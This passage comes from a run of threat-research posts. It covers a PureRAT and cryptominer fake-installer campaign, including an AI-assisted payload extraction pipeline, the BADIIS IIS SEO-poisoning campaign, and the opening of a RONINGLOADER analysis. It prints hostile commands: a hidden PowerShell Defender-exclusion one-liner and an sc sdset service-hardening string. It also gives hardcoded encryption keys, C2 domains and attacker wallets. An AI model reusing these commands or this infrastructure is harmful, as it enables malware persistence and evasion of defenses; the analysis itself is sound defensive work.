Acquires a named mutex (MTXCNBV11000ERCXSWOLZNBVRGH) - exits if already running
Instantiates the victim profiler, C2 comms, and command dispatcher
Issues a single POST to the C2 with payload: "fetch", handles any returned task
Exits - next execution is driven entirely by the 10-minute scheduled task trigger

C2 Communication

The malware communicates with its C2 by issuing HTTP POST requests with the Content-Type set to application/x-www-form-urlencoded. Each field value is independently AES-256-CBC encrypted with a random IV. The AES key is derived as the SHA-256 hash of the hardcoded communications passphrase (AnCnDai@4zDsxP!a3E). The IV is prepended to the ciphertext, and the entire blob is base64-encoded; C2 responses follow the same format.

encrypted_field_value = base64_encode(random_iv + AES-256-CBC_encrypt\
 (key: SHA-256('AnCnDai@4zDsxP!a3E'), iv: random_iv, data: plaintext_field_value))

Fields sent on every request:

A server response decrypts to either a task string, “NO TASKS”, or “REGISTERED/UPDATED”. When the client requests a task through payload: “fetch”, if a task exists for the client, the C2 response decrypts to a -delimited task string: task_idcommandargumentRSA_sig.

Prior to dispatch, each task undergoes RSA-SHA256 signature verification. The signed message is the concatenated string task_idcommandargument, and the signature is the base64-decoded RSA_sig field. A hardcoded RSA-2048 public key is used for verification.

Tasks failing verification are silently dropped. Without the operator's RSA private key, third parties cannot issue commands to infected hosts even with full C2 access.

Supported Commands

3 commands are supported, described in the table below:

| Command | Behavior | | :---- | :---- | | download_execute | Downloads URL argument to %TEMP%\.. Execute: .exe (hidden), .bat/.cmd (cmd /c), .vbs (wscript.exe), other (ShellExecute). | | update | Downloads URL argument to staging location %TEMP%\tmp_updt236974520367.exe. Runs BAT to: kill current PID, overwrite installed binary with staged download, delete staging file, and self-delete BAT. | | uninstall | Deletes scheduled task, removes install.dat, self-deletes via BAT, rmdir install dir, and %APPDATA%\HostData\. |

Earlier Campaigns

Pivoting on the PureRAT mutex Aesthetics135, we discovered an earlier wave of the operation that presented a different fake installer UI.

Early 2025 Build

The sample bb48a52bae2ee8b98ee1888b3e7d05539c85b24548dd4c6acc08fbe5f0d7631a (first seen 2025-01-30) is a Themida and .NET Reactor-protected Windows Forms application that drops PureRAT v0.3.9.

It consists of 3 classes: Fooo1rm (the ApplicationContext entry point), Form2 (the installer UI and the PureRAT dropper), and Form3 (a fake registration lure). The code structure closely resembles the more recent campaigns.

On initialization, it immediately invokes a hidden PowerShell one-liner to add itself to Microsoft Defender exclusions before any UI appears: powershell.exe -WindowStyle Hidden Add-MpPreference -ExclusionPath ''; Add-MpPreference -ExclusionProcess ''. A timer with a 2,846 ms interval fires, instantiating and showing Form2.

Form2 presents a progress bar dialog titled “Getting things ready” with a 12-step timer ticking every 1,000 ms, simulating a legitimate installation.

A second PowerShell exclusion command covers %LocalAppData%, %AppData%, the drop directory %LocalAppData%\winbuf, and process names including winbuf.exe, wintrs.exe, and AddlnProcess.exe. The PureRAT v0.3.9 payload is extracted from the assembly manifest resource and written to %LocalAppData%\winbuf\winbuf.exe. Persistence is established via schtasks.exe.

Extracted PureRAT config:

wndlogon.hopto.org (C2 #1)
wndlogon.itemdb.com (C2 #2)
wndlogon.kozow.com (C2 #3)
wndlogon.ydns.eu (C2 #4)
Aesthetics135 (mutex and C2 comms key)
29-01-25 (build / campaign date)

Form3 serves purely as a social engineering mechanism to drive Cost Per Action (CPA) offer completions through a content locker.

Content lockers are a monetization technique in which access to a resource is gated behind completing CPA (Cost Per Action) offers, such as filling out a survey or signing up for a service. The malware operator earns a commission each time a victim completes one of these offers.

It presents a fake “Registration Required” dialog with a key entry field, a “Validate” button, and a hyperlink labeled “here” that opens https://tinyurl[.]com/cmvt944y. Key validation is entirely fake. Regardless of input, the handler introduces a hardcoded 2-second delay, then always returns “Invalid key. Please try again.”

The TinyURL shortlink tinyurl[.]com/cmvt944y redirects to the lure page at rapidfilesdatabaze[.]top/files/z872d515ea17b4e6c3abca9752c706242/.

The page used to host a minimal HTML document titled "Registration Key is Ready", designed to trick the victim into interacting with the CPA content locker. It presents a download icon and a fake file link labeled Registration_Key.txt, alongside a unique campaign tracking ID (z872d515ea17b4e6c3abca9752c706242) displayed in the page body.

The content locker JavaScript (3193171.js) is loaded from d3nxbjuv18k2dn.cloudfront[.]net, and clicking the Registration_Key.txt link triggers the offer wall under the pretext of unlocking a license key.

!Content at rapidfilesdatabaze[.]top/files/z872d515ea17b4e6c3abca9752c706242/

Late 2023 Build

An older sample - 6a01cc61f367d3bae34439f94ff3599fcccb66d05a8e000760626abb9886beac (first seen 2023-11-09) presented a similar fake installer UI. This represents the earliest activity we attributed to this threat actor based on shared infrastructure and tooling.

This campaign build dropped PureRAT v0.3.8B, in which the in-memory PE loader component used a SmartAssembly-protected PureCrypter.

Extracted PureRAT config:

wndlogon.hopto.org (C2 #1)
wndlogon.itemdb.com (C2 #2)
wndlogon.kozow.com (C2 #3)
wndlogon.ydns.eu (C2 #4)
Aesthetics135 (mutex and C2 comms key)
09.11.23 (build / campaign date)

On the installation window, the “go here” hyperlink opens a short link https://t[.]ly/MQXPm that redirects to the lure page https://softwaredlfast[.]top/files/n71fGbs2b7XceW3op71aQsrx41Rkeydl/, which presents 2 outgoing fake download links:

https://rapidfilesbaze[.]top/z78fGbs2b7XceWop21aQsrx41Rkeydsktp/
https://rapidfilesbaze[.]top/z78fGbs2b7XceWop21aQsrx41Rkeymbl/

!Content at https://softwaredlfast[.]top/files/n71fGbs2b7XceW3op71aQsrx41Rkeydl/

Both links were offline at the time of analysis. However, historical data indicates that rapidfilesbaze[.]top has been used consistently for CPA-style offer lures.

A URLScan.io archived response for a related path (rapidfilesbaze[.]top/h74fGbs2b7XceWop71aQsrx41-Registration-Key-Mobile/) confirms the site's use as a lure landing page.

!Content at rapidfilesbaze[.]top/h74fGbs2b7XceWop71aQsrx41-Registration-Key-Mobile/

The downstream unlocker site at https://unlockcontent[.]net/cl/i/me9mn2 remains active as of this writing.

!Content at https://unlockcontent[.]net/cl/i/me9mn2

GitHub Profiles

Beyond the C2 infrastructure, the threat actor abuses GitHub as a payload delivery CDN, hosting staged binaries across two identified accounts. This technique shifts the download-and-execute step away from operator-controlled infrastructure to a trusted platform, reducing detection friction. Both profiles were confirmed through decrypting C2 task traffic captured by VirusTotal sandboxes, which issued download-and-execute tasks pointing directly to raw GitHub content URLs. The operator routinely deletes individual binaries and entire repositories; the files documented below were captured via VirusTotal submissions or direct retrieval from GitHub prior to deletion.

The first profile, https://github[.]com/lebnabar198, surfaced during analysis of Campaign 2. After decrypting the C2 traffic from the windirautoupdates[.]top server, we observed the PureRAT implant being instructed to fetch a payload from this account, specifically the custom XMRig loader MnrsInstllr_240126.exe. This establishes a direct operational link between the PureRAT C2 and this GitHub profile.

The second profile, https://github[.]com/ugurlutaha6116, was identified by decrypting traffic from a PureRAT loader (SHA-256: e1e87d11079d33ec1a1c25629cbb747e56fe17071bde5fd8c982461b5baa80a4), which used the same PBKDF2 key derivation structure with the comms key Aesthetics152. The decrypted task pointed to the hosted payload PM3107.exe.

The hosted files map to the following payloads:

Monero Wallet Analysis

During our analysis of the cryptominer payloads, we successfully extracted four active Monero (XMR) wallet addresses from the malware's configuration. Because the threat actor is routing their compromised hosts through public mining pools, we can query the pool's public dashboards using these wallet addresses. It provides information about the operational scale and profitability of the campaigns.

Based on the telemetry available at the time of writing, here is the current status of the attacker's mining operations:

Wallet 1: 87NnUp8GKVBZ8pFV75Gas4A5nMMH7gEeo8AXBhm9Q6vS5oQ6SzCYf1bJr7Lib35VN2UX271PAXeqRFDmjo5SXm3zFDfDSWD
Active Workers: 7
Estimated Hashrate Return: ~0.0172 XMR / day
Total Paid Out: 2.2 XMR
Wallet 2: 89FYoLrfXwEDAVAsVYbhAfg3mATUtBzNAK2LG8wwDKfNTRhmNRTBn1VbwpFxEpJ8h5fQa2A4CS1tpRv7amUdJ3ZbUoVu6T1
Active Workers: 3
Estimated Hashrate Return: ~0.02 XMR / day
Total Paid Out: 4.23 XMR
Wallet 3: 89WoZKYoHhcNEFRV8jjB6nDqzjiBtQqyp4agGfyHwED1XyVAoknfVsvY1CwEHG6nwZFJGFTF5XbqC4tAQbnoFFCX8UQof3G
Active Workers: 2
Estimated Hashrate Return: ~0.0057 XMR / day
Total Paid Out: 11.69 XMR
Wallet 4:
83Q1PKZ5yXsP8SCqjV3aV7B3UoBB3skPp49G1VnnGtv5Y5EUbFQTXvzR9cZshBYBBfd8Dm1snkkud431pdzEZ2uJTad1CiC
Active Workers: 2
Estimated Hashrate Return: ~0.0036 XMR / day
Total Paid Out: 9.76 XMR

With a combined total of over 27.88 XMR (~ USD$ 9392) already successfully paid out to the attacker, it proves that low-and-slow cryptojacking operations can yield consistent financial returns over time.

Agentic Payload and Configuration Extraction Pipeline

In this research, we examined several hundred infection chains across the campaigns we described. For each chain, we have samples, mainly .NET, which are either loaders or final payloads layered with .NET Reactor obfuscation and often Themida packing.

The large number of these chains makes manual configuration and unpacking time-consuming and difficult to scale across all the chains we discovered. This is why, as part of this research, we used the Claude Opus 4.5 model to quickly vibecode a payload and configuration extraction pipeline. In this section, we provide details on the choices we made and the results we obtained with this method.

Triage

To optimize processing time, this phase focuses on extensively exploring infection chains using VirusTotal. We begin by obtaining a list of hashes from VirusTotal based on a specific pivot. For instance, using the README.txt content as a pivot to identify other ISOs.

Claude is instructed to use a Python script to perform a recursive download. This process involves gathering information about embedded binaries and dropped files associated with each file hash. Claude then uses its “intelligence” to identify the most subsequent link in the chain and continues its investigation until it reaches what it considers the final binary in that chain. After exploring all chains, Claude analyzes the patterns and creates chain types to group them. Finally, the results are compiled into a CSV file for subsequent analysis.

The data we obtained includes the starting hash from VirusTotal and the final hash, representing the last file Claude successfully tracked. This demonstrates that, with the right guidance, Claude can effectively track entire chains using only information from VirusTotal.

Download and Extraction

Once the triage file was created, we downloaded the intermediate payloads and instructed Claude to start the automatic payload/configuration extraction process. To do this, we installed an OpenSSH server on a Windows virtual machine, then created a Claude skill containing instructions to connect to this machine and use the installed tools to perform the reverse engineering and extraction workflow.

The workflow is simple: Claude connects to the machine, uploads the sample, detects whether it is obfuscated or packed with Detect It Easy, and applies the appropriate deobfuscation tool until the sample is no longer obfuscated (Unlicense, .NET Reactor Slayer). It then runs the developed extraction scripts to identify what the sample is and determine the next step: either continue extraction with the child payload if the parent is a loader, or store the configuration information for the final report.

If all the extraction scripts fail, Claude must enter Research Mode. This mode is the most enjoyable part of the skill because it gives Claude a workflow to either automatically develop a new extraction script or identify why the existing script doesn't work with the variant. Claude’s Research Mode consists of using the dnSpyEx tool installed on the machine to compile the sample's C# code, perform a complete code analysis, identify how to extract the payload or configuration, then develop a script with this knowledge to work directly with the raw binaries to be more efficient and finally store the knowledge for the next time it has to work on the same malware family.

Results

Using the Claude Opus 4.5 model, the results were really good. Not only did Claude succeed in handling the obfuscation layers, but it also completely researched and developed, on its own, the methods and scripts (based on the CIL of .NET binaries) to extract the final payloads and their configurations without having encountered them before.

It also demonstrated robust failure handling without requiring additional instruction. For example, when it encountered samples that could not be fully deobfuscated due to issues with Reactor Slayer, which made static extraction too difficult, it stopped processing, documented the problem, and proceeded to the next sample.

Of course, it is not without drawbacks:

Once its context started to fill up too much, it often diverged onto useless paths and required either micro-management or a reset, hence the usefulness of having a skill with reusable instructions and a knowledge base on the work already done.
It takes a long time, every action requires it to “think”, however, it’s automatic and it's definitely time recovered you can use to do something else.
Its token consumption is particularly greedy, especially once you figure out it’s doing a lot of inefficient things.

Observations

The following tables consolidate malware configurations extracted across the builds we investigated, and are not exhaustive:

PureRAT | Versions | 0.3.8B. 0.3.9, 0.4.1, 3.0.1 | | :---- | :---- | | C2s | windirautoupdates[.]top
winautordr.hopto[.]org
winautordr.itemdb[.]com
winautordr.ydns[.]eu
winautordr.kozow[.]com
wndlogon.hopto[.]org
wndlogon.itemdb[.]com
wndlogon.kozow[.]com
wndlogon.ydns[.]eu | | Campaign/Build IDs | 23-01-26, 14-01-26, 03-01-26, 24-12-25, 25-11-25, 08-11-25, 29-01-25, 09.11.23 | | Mutex / C2 Comms key | Aesthetics135 |

Custom XMRig Loader | Wallet Addresses | 87NnUp8GKVBZ8pFV75Gas4A5nMMH7gEeo8AXBhm9Q6vS5oQ6SzCYf1bJr7Lib35VN2UX271PAXeqRFDmjo5SXm3zFDfDSWD, 83sDbPzoghAX45hA2Y26xvaDsKv8TLymAGKKyZwrCKB3T9kuuYBDzb64vfy9XQyrpUFQ4r8u3V2T1EzqE6CR27XmMCCwGu1 | | :---- | :---- |

AsyncRAT | Versions | 0.5.8 | | :---- | :---- | | C2s | wndlogon.hopto[.]org
wndlogon.itemdb[.]com
wndlogon.ydns[.]eu
wndlogon.kozow[.]com | | Campaign/Build IDs | BL_Bckp_250525 |

PulsarRAT | Versions | 1.5.1 | | :---- | :---- | | C2s | wndlogon.hopto[.]org
wndlogon.itemdb[.]com
wndlogon.ydns[.]eu
wndlogon.kozow[.]com | | Campaign/Build IDs | 18-04-25 |

Here is a GitHub Gist of a list of sample hashes.

BADIIS to the Bone: New Insights to a Global SEO Poisoning Campaign

Jia Yu Chan,Daniel Stepanic,Cyril François — Wed, 11 Feb 2026 00:00:00 GMT

Introduction

In November 2025, Elastic Security Labs observed an intrusion affecting a multinational organization based in Southeast Asia. During the analysis of this activity, our team observed various post-compromise techniques and tooling used to deploy BADIIS malware onto a Windows web server. These observations align with previous reporting from Cisco Talos and Trend Micro from last year.

This threat group has amassed more victims and is coordinating a large-scale SEO poisoning operation from countries across the globe. Our visibility into the campaign indicates a complex, geotargeted infrastructure designed to monetize compromised servers by redirecting users to a broad network of illicit websites such as online gambling platforms and cryptocurrency schemes.

Key takeaways

Elastic Security Labs observes large-scale SEO poisoning campaigns targeting IIS servers with BADIIS malware globally, impacting over 1,800 Windows servers
Compromised servers are monetized through a web of infrastructure used to target users with gambling advertisements and other illicit websites
Victim infrastructure includes governments, various corporate organizations, and educational institutions from Australia, Bangladesh, Brazil, China, India, Japan, Korea, Lithuania, Nepal, and Vietnam
This activity corresponds with the threat group, UAT-8099, identified by Cisco Talos last October, and is consistent with prior reporting from Trend Micro

Campaign Overview

REF4033 is a Chinese-speaking cybercrime group responsible for a massive, coordinated SEO poisoning campaign that has compromised more than 1,800 Windows web servers worldwide using a malicious IIS module called BADIIS.

The campaign operates through a two-phase process:

First, it serves keyword-stuffed HTML to search engine crawlers to poison search results, and
Next, it redirects victims to a sprawling "vice economy" of illicit gambling platforms, pornography, and sophisticated cryptocurrency phishing sites, such as a fraudulent clone of the Upbit exchange.

By deploying the BADIIS malware, a malicious IIS module that integrates directly into a web server's request processing pipeline, the group hijacks the web servers for legitimate government, educational, and corporate domains. This high-reputation infrastructure is used to manipulate search engine rankings, thereby allowing attackers to intercept web traffic and facilitate widespread financial fraud.

Intrusion activity

In November 2025, Elastic Security Labs observed post-compromise activity from a Windows IIS server from an unknown attack vector. This threat actor moved quickly, progressing from initial access to IIS module deployment in less than 17 minutes. The initial enumeration was performed via a webshell running under the IIS worker process (w3wp.exe). The attacker conducted initial discovery and then created a new user account.

Shortly after the account was created and added to the Administrators group, Elastic Defend generated several alerts related to a newly created Windows service, WalletServiceInfo. The service loaded an unsigned ServiceDLL (C:\ProgramData\Microsoft\Windows\Ringtones\CbsMsgApi.dll) and subsequently executed direct syscalls from the module.

Next, we saw the threat actor harden their access by using a program called D-Shield Firewall. This software provides additional security features for IIS servers, including preventive protections and capabilities to add network restrictions. To proceed with the investigation, we used the observed imphash (1e4b23eee1b96b0cc705da1e7fb9e2f3) of the loader (C:\ProgramData\Microsoft\Windows\Ringtones\CbsMsgApi.exe) to obtain a loader sample from VirusTotal for our analysis.

To collect a sample of the malicious DLL used by this loader, we performed a VirusTotal search on the name (CbsMsgApi.dll). We found 7 samples submitted using the same filename. The group behind this appears to have been using a similar codebase since September 2024. Most of these samples employ VMProtect, a commercial code-obfuscation framework, to hinder static and dynamic analysis. Fortunately, we used an older, non-protected sample to gain additional insight into this attack chain.

Code analysis - CbsMsgApi.exe

The group employs an attack workflow that requires several files staged by the attacker to deploy the malicious IIS module. The execution chain begins with the PE executable, CbsMsgApi.exe. This file contains Chinese Simplified strings, including the PDB string (C:\Users\Administrator\Desktop\替换配置文件\w3wpservice-svchost\x64\Release\CbsMsgApi.pdb).

After launch, this program creates a Windows service, WalletServiceinfo, which configures a ServiceDLL (CbsMsgApi.dll) that runs under svchost.exe, similar to this persistence technique.

This newly created service focuses on stealth and anti-tampering by modifying the security descriptor of the service with the following command-line:

sc sdset "WalletServiceInfo" "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"

Code analysis - CbsMsgApi.dll

The main component of this attack sequence is the ServiceDLL (CbsMsgApi.dll). The malicious DLL stages the BADIIS IIS native modules and alters the IIS configuration to load them into the request pipeline of the DefaultAppPool.

During this attack, the threat actor stages three files masquerading within the System32\drivers folder:

C:\Windows\System32\drivers\WUDFPfprot.sys
C:\Windows\System32\drivers\WppRecorderpo.sys
C:\Windows\System32\drivers\WppRecorderrt.sys

Two of these files (WppRecorderrt.sys, WppRecorderpo.sys) represent the malicious 32-bit / 64-bit BADIIS modules. The other file (WUDFPfprot.sys) represents configuration elements that will be injected into the IIS’s existing configuration. Below is an example configuration used during our analysis. Of note is the module name WsmRes64 (more information on this DLL is detailed in the IIS Modules Analysis (WsmRes32.dll / WsmRes64.dll) section below):

The malware uses the CopyFileA function to move the contents from the masqueraded files into the .NET directory (C:\Windows\Microsoft.NET\Framework).

Next, the malware parses the DefaultAppPool.config file, examining each node to update the and nodes. The module will inject configuration content from the previously masqueraded file (WUDFPfprot.sys), updating the IIS configuration via a series of append operations.

Below is an example of the newly added global module entry that references the BADIIS DLL.

Upon successful execution, the BADIIS module is installed on the IIS server and becomes visible as a loaded module in the w3wp.exe worker process.

IIS Modules Analysis (WsmRes32.dll / WsmRes64.dll)

The following section will describe the functionality of BADIIS modules. These modules facilitate the conditional injection or redirection of malicious SEO content based on criteria such as the User-Agent or Referer header value. This technique ensures that malicious content remains hidden during normal use, thereby allowing the modules to remain undetected for as long as possible.

Upon initialization, the module downloads content from URLs defined in its configuration. These URLs are stored in an encrypted format and decrypted using the SM4 algorithm (a Chinese national standard block cipher) in ECB mode with the key “1111111122222222”. In older samples, the AES-128 ECB algorithm was used instead.

Each URL in the configuration points to a static .txt file that contains a second-stage resource. The list below details these source files and their specific roles:

These URLs point to region-specific files, prefixed with the corresponding country code. While the examples above focus on Korea (hxxp://kr.domain.com), equivalent files exist for other regions, such as Vietnam (VN), where filenames are prefixed with "vn" rather than "kr"(hxxp://vn.domain.com).

The BADIIS module registers within the request processing pipeline, positioning itself as both the first and the last handler. For each request, the module verifies specific properties and selects an injection or redirection strategy based on the results. We have three types of injection:

To distinguish between bot and human traffic, the module checks against the following list of Referers and User-Agents.

Referers: bing, google, naver, daum
User agents: bingbot, Googlebot, Yeti, Daum

The default injection strategy targets search engine crawlers accessing a legitimate page on the compromised site.

In this scenario, the SEO backlinks are retrieved from the secondary link and injected into the page to be crawled by search engine bots. The downloaded backlinks that are injected into the infected page primarily target other local pages within the domain, whereas the remainder point to pages on other infected domains. This is a key aspect of the link-farming strategy, which involves creating large networks of sites that link to one another and manipulate search rankings.

The local pages linked by the backlinks do not exist on the infected domain, so visiting them results in a 404 error. However, when the request is intercepted, the malware checks two conditions: whether the status code is not 200 or 3xx, and whether the browser's User-Agent matches a crawler bot. If so, it downloads content from an SEO page hosted on its infrastructure (via a link in the *fmldz.txt file from its configuration URL) and returns a 200 response code to the bot. This target URL is built using 'domain' and 'uri' parameters that contain the infected domain name and the resource the crawler originally attempted to access.

Finally, if a user requests a page that does not exist and arrives with a Referer header value listed by the malware, the page is replaced by a third type of content: a landing page with a loading bar. This page uses JavaScript to redirect the user to the link contained in the *fmltz.txt file, which is obtained via its configuration link.

Optionally, if enabled, the request is executed only when the User-Agent matches a mobile phone, ensuring the server targets mobile users exclusively.

The list of mobile User-Agents is listed below:

Devices: iPhone, iPad, iPod, iOS, Android, uc (UC Browser), BlackBerry, HUAWEI

If the option is enabled and the infected server's IP address matches the subnet list in the google.css file downloaded from the *fmlip.txt file, the server serves the standard SEO content instead of the landing/redirection page.

The landing page includes JavaScript code containing an analytics tag—either Google Analytics or Baidu Tongji, depending on the target region—to monitor redirections. While the exact reason for using server IP filtering to restrict traffic remains unclear, we speculate that it is linked to these analytics and implemented for SEO purposes.

We identified the following Google tags across the campaign:

G-2FK43E86ZM
G-R0KHSLRZ7N

As well as a Baidu Tongji tag:

B59ff1638e92ab1127b7bc76c7922245

Campaign Analysis

Based on similarity in URL patterns (fml__.txt, fml/index.php), we discovered an older campaign dating back to mid-2023 that was using the following domains as the configuration server.

tz123[.]app
tz789[.]app

tz123[.]app was disclosed in a Trend Micro BADIIS campaign summary IOC list, published in 2024 . Based on the first submission dates on VT for samples named ul_cache.dll and communicating with hxxp://tz789[.]app/brfmljs[.]txt, some are also submitted under the filename WsmRes64.dll. This naming convention is consistent with the BADIIS loader component analyzed in the prior section. The earliest sample we discovered on VT was first submitted on 2023-12-12.

For REF4033, the infrastructure is split between two primary configuration servers.

Recent campaigns (gotz003[.]com): Currently serves as the primary configuration hub. Further analysis has identified 5 active subdomains categorized by country codes:
kr.gotz003[.]com (South Korea)
vn.gotz003[.]com (Vietnam)
cn.gotz003[.]com (China)
cnse.gotz003[.]com (China)
bd.gotz003[.]com (Bangladesh)
Legacy infrastructure (jbtz003[.]com): Used in older campaign iterations, though several subdomains remain operational:
br.jbtz003[.]com (Brazil)
vn.jbtz003[.]com (Vietnam)
vnbtc.jbtz003[.]com (Vietnam)
in.jbtz003[.]com (India)
cn.jbtz003[.]com (China)
jp.jbtz003[.]com (Japan)
pk.jbtz003[.]com (Pakistan)

At its core, the recent campaign monetizes compromised servers by redirecting users to a vast network of illicit websites. The campaign is heavily invested in the vice economy, targeting Asian audiences, such as unregulated online casinos, pornography streaming, and explicit advertisements for prostitution services.

It also poses a direct financial threat. One example was a fraudulent cryptocurrency staking platform hosted at uupbit[.]top, impersonating Upbit, South Korea’s largest cryptocurrency exchange.

!www.uupbit[.]top - from urlscan.io

The campaign’s targeting logic largely mirrors the compromised infrastructure's geography, establishing a correlation between the server’s location and the user’s redirection target. For instance, compromised servers in China funnel traffic to local gambling sites, while those in South Korea redirect to the fraudulent Upbit phishing site. The exception to this pattern involved compromised infrastructure in Bangladesh, which the actors configured HTTP redirects to point to non-local, Vietnamese gambling sites.

We have observed several different redirection loading pages throughout the clusters. Below is an example of the user redirection template for a sample targeting VN victim infrastructure. This template uses a Google tag and is very similar to one of the templates described in Cisco Talos’ UAT-8099 research.

A more consistent template observed across the victim clusters is shown in the snippet below, particularly the progress bar logic. Since the sample targets CN victim infrastructure, Baidu Tongji is used for tracking victim redirection.

We discovered several clusters (some with overlaps) of compromised servers from URLs containing backlinks in the following list:

http://kr.gotz001[.]com/lunlian/index.php
http://se.gotz001[.]com/lunlian/index.php
https://cn404.gotz001[.]com/lunlian/index.php
https://cnse.gotz001[.]com/lunlian/index.php
https://cn.gotz001[.]com/lunlian/index.php
https://cn.gotz001[.]com/lunlian/indexgov.php
https://vn404.gotz001[.]com/lunlian/index.php
https://vn.gotz001[.]com/lunlian/index.php
http://bd.gotz001[.]com/lunlian/index.php
http://vn.jbtz001[.]com/lunlian/index.php
https://vnse.jbtz001[.]com/lunlian/index.php
https://vnbtc.jbtz001[.]com/lunlian/index.php
https://in.jbtz001[.]com/lunlian/index.php
https://br.jbtz001[.]com/lunlian/index.php
https://cn.jbtz001[.]com/lunlian/index.php
https://jp.jbtz001[.]com/lunlian/index.php
https://pk.jbtz001[.]com/lunlian/index.php

!Link farm content at https://vn404[.]gotz001[.]com/lunlian/index.php

Within the scope of REF4033, more than 1800 servers were impacted globally, and the campaign demonstrates a clear geographic focus on the APAC region, with China and Vietnam accounting for approximately 82% of all observed compromised servers (46.1% and 35.8%, respectively). Secondary concentrations are observed in India (3.9%), Brazil (3.8%), and South Korea (3.4%), although these represent a minority of the overall campaign footprint. Notably, approximately 30% of compromised servers reside on major cloud platforms, including Amazon Web Services, Microsoft Azure, Alibaba Cloud, and Tencent Cloud. The remaining 70% of victims are distributed across regional telecommunications providers.

The victim profile spans diverse sectors, including government agencies, educational institutions, healthcare providers, e-commerce platforms, media outlets, and financial services, indicating large-scale opportunistic exploitation rather than targeted exploitation. Government and public administration systems represent approximately 8% of identified victims across at least 5 countries (.gov.cn, .gov.br, .gov.bd, .gov.vn, .gov.in, .leg.br).

REF4033 through MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

Remediating REF4033

Prevention

YARA

Elastic Security has created YARA rules to identify this activity.

Observations

The following observables were discussed in this research.

References

The following were referenced throughout the above research:

RONINGLOADER: DragonBreath’s New Path to PPL Abuse

Jia Yu Chan,Salim Bitam — Sat, 15 Nov 2025 00:00:00 GMT

Introduction

Elastic Security Labs identified a recent campaign distributing a modified variant of the gh0st RAT, attributed to the Dragon Breath APT (APT-Q-27), through trojanized NSIS installers masquerading as legitimate software such as Google Chrome and Microsoft Teams. The infection chain employs a multi-stage delivery mechanism that leverages various evasion techniques, with many redundancies aimed at neutralising endpoint security products popular in the Chinese market. These include bringing a legitimately signed driver, deploying custom WDAC policies, and tampering with the Microsoft Defender binary through PPL abuse.

This campaign primarily targets Chinese-speaking users and demonstrates a clear evolution in adaptability compared to earlier DragonBreath-related campaigns documented in 2022-2023. Through this report, we hope to raise awareness of new techniques this malware is starting to implement and to shine a light on a unique loader we are naming RoningLoader.

Key takeaways

The malware employs an abuse of Protected Process Light (PPL) to disable Windows Defender
Threat actors leverage a valid, signed kernel driver to kill processes
Custom unsigned WDAC policy applied to block 360 Total Security and Huorong executables
Phantom DLLs and payload injection via thread pools for further antivirus process termination
Final payload has minor updates and is associated with DragonBreath

Discovery

In August 2025, research was published detailing a method to abuse Protected Process Light (PPL) to disable endpoint security tooling. Following this disclosure, we produced a behavioral rule, Potential Evasion via ClipUp Execution, and, after some threat hunting of telemetry data, we identified a live campaign employing the technique.

RONINGLOADER code analysis

The initial infection vector is a Windows Installer package (MSI). Upon execution, the MSI functions as a dropper, extracting two embedded Nullsoft Scriptable Install System (NSIS) installers. NSIS is a legitimate, open-source tool for creating Windows installers, but it is frequently abused by threat actors to package and deliver malware, as seen in GULOADER. In this campaign, we have observed the malicious installers being distributed under various themes, masquerading as legitimate software such as Google Chrome, Microsoft Teams, or other trusted applications to lure users into executing them.

One of the nested NSIS installers is benign and installs the legitimate software, while the second is malicious and responsible for deploying the attack chain.

The attack chain leverages a signed driver named ollama.sys for antivirus process termination. The driver has a signer name of Kunming Wuqi E-commerce Co., Ltd., with a certificate valid from February 3, 2025, to February 3, 2026. Pivoting on VirusTotal revealed 71 additional signed binaries. Among these, we identified AgentTesla droppers masquerading as 慕讯公益加速器 (MuXunAccelerator), a gaming-focused VPN software popular among Chinese users, with samples dating back to April 2025. Notably, the signing techniques vary across samples. Some earlier samples, like inject.sys, contain HookSignTool artifacts including the string JemmyLoveJenny, while the October 2025 ollama.sys sample shows no such artifacts and uses standard signing procedures, yet both share the same certificate validity period.

Comparing ollama.sys’s PDB string artifact D:\VS_Project\加解密\MyDriver1\x64\Release\MyDriver1.pdb with other samples, we discovered different artifacts from other submitted samples -

D:\cpp\origin\ConsoleApplication2\x64\Release\ConsoleApplication2.pdb
D:\a_work\1\s\artifacts\obj\coreclr\windows.x86.Release\Corehost.Static\singlefilehost.pdb
C:\Users\0\Desktop\EAMap\x64\Release\ttt.pdb
h:\projects\netfilter3\bin\Release\Win32\nfregdrv.pdb

Due to the diversity of binaries and the large volume of submissions, we suspect the certificate may have been leaked, but this is speculation at this time.

Stage 1

Our analysis began with the initial binary, identified by its SHA256 hash: da2c58308e860e57df4c46465fd1cfc68d41e8699b4871e9a9be3c434283d50b. Extracting it reveals two embedded executables: a benign installer, letsvpnlatest.exe, and the malicious installer Snieoatwtregoable.exe.

The malicious installer, Snieoatwtregoable.exe, creates a new directory at C:\Program Files\Snieoatwtregoable\. Within this folder, it drops two files: a DLL named Snieoatwtregoable.dll and an encrypted file, tp.png.

The core of the malicious activity resides within Snieoatwtregoable.dll, which exports a single function: DllRegisterServer. When invoked, this function reads the contents of the tp.png file from disk, then decrypts this data using a simple algorithm involving both a Right Rotate (ROR) and an XOR operation.

The decrypted content is shellcode that reflectively loads and executes a PE file in memory. The malware first allocates a new memory region within its own process using the NtAllocateVirtualMemory API, then creates a new thread to execute the shellcode by calling NtCreateThreadEx.

The malware attempts to remove any userland hooks by loading a fresh new ntdll.dll, then using GetProcAddress with the API name to resolve the addresses.

The malware attempts to connect to localhost on port 5555 without serving any real purpose, as the result will not matter; speculatively, this is likely dead code or pre-production leftover code

Stage 2 - tp.png

RONINGLOADER first checks whether it has administrative privileges using the GetTokenInformation API. If not, it attempts to elevate its privileges by using the runas command to launch a new, elevated instance of itself before terminating the original process.

Interestingly, the malware tries to communicate with a hardcoded URL http://www.baidu.com/ with the user-agent “Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko”, but this appears to be dead code, likely due to either a removed feature or placeholder code for future versions. It is designed to extract and log the HTTP response header date from the URL.

